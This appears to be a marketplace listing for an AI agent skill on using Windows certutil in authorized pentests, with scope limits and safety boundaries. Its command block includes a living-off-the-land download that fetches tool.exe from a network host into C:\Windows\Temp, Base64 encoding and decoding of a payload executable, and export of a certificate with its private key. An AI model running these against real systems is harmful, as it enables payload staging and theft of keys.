# Certutil

> Use for tightly scoped certificate handling, hashing, encoding, and approved transfer-path validation during authorized pentests. Trigger on certificate inspection, hash verification, data reformatting, and limited Windows-native transfer or staging checks.

- Skill: `timsonner/certutil` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/certutil`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/certutil/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/certutil

---


# Certutil

## Purpose

Use this skill for tightly bounded Windows-native certificate, hashing, encoding, or approved transfer-path operations.

## Phase Fit

- Primary: Vulnerability Analysis, Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure

## Use When

- Need to inspect certificate material or compute hashes.
- Need Windows-native encoding or limited transfer-path validation.
- Need a repeatable retest for a Windows-native staging path.

## Avoid When

- Native transfer or staging checks are not explicitly approved.
- Host scope or operation type is unclear.

## Inputs

- Approved host and file scope
- Explicit operation boundary such as hash, encode, or transfer test
- Evidence handling rules

## Procedure

1. Limit the command set to the minimum operation needed.
2. Record exact files, hosts, and operation types used.
3. Validate only the approved path or transformation.
4. Stop once the hypothesis is answered.
5. Preserve the exact operation path for retest.

## Command Syntax

Replace sample files with approved in-scope targets.

```cmd
:: Compute a file hash
certutil.exe -hashfile C:\Windows\System32\ntdll.dll SHA256

:: Encode a file to Base64
certutil.exe -encode C:\temp\payload.exe C:\temp\payload.b64

:: Decode Base64 back to binary
certutil.exe -decode C:\temp\payload.b64 C:\temp\payload.exe

:: Download a file (living-off-the-land technique)
certutil.exe -urlcache -split -f http://10.10.10.1/tool.exe C:\Windows\Temp\tool.exe

:: Export a certificate from the Windows store
certutil.exe -exportPFX My <Thumbprint> C:\temp\cert.pfx

:: List certificates in the current user store
certutil.exe -store My
```

## Evidence to Capture

- Whether the approved Windows-native path or operation worked
- Exact host, files, and command path used
- Minimal proof needed for remediation

## Safety Boundaries

- Use only the specific operations approved for the engagement.
- Avoid broader staging or transfer behavior without explicit written approval.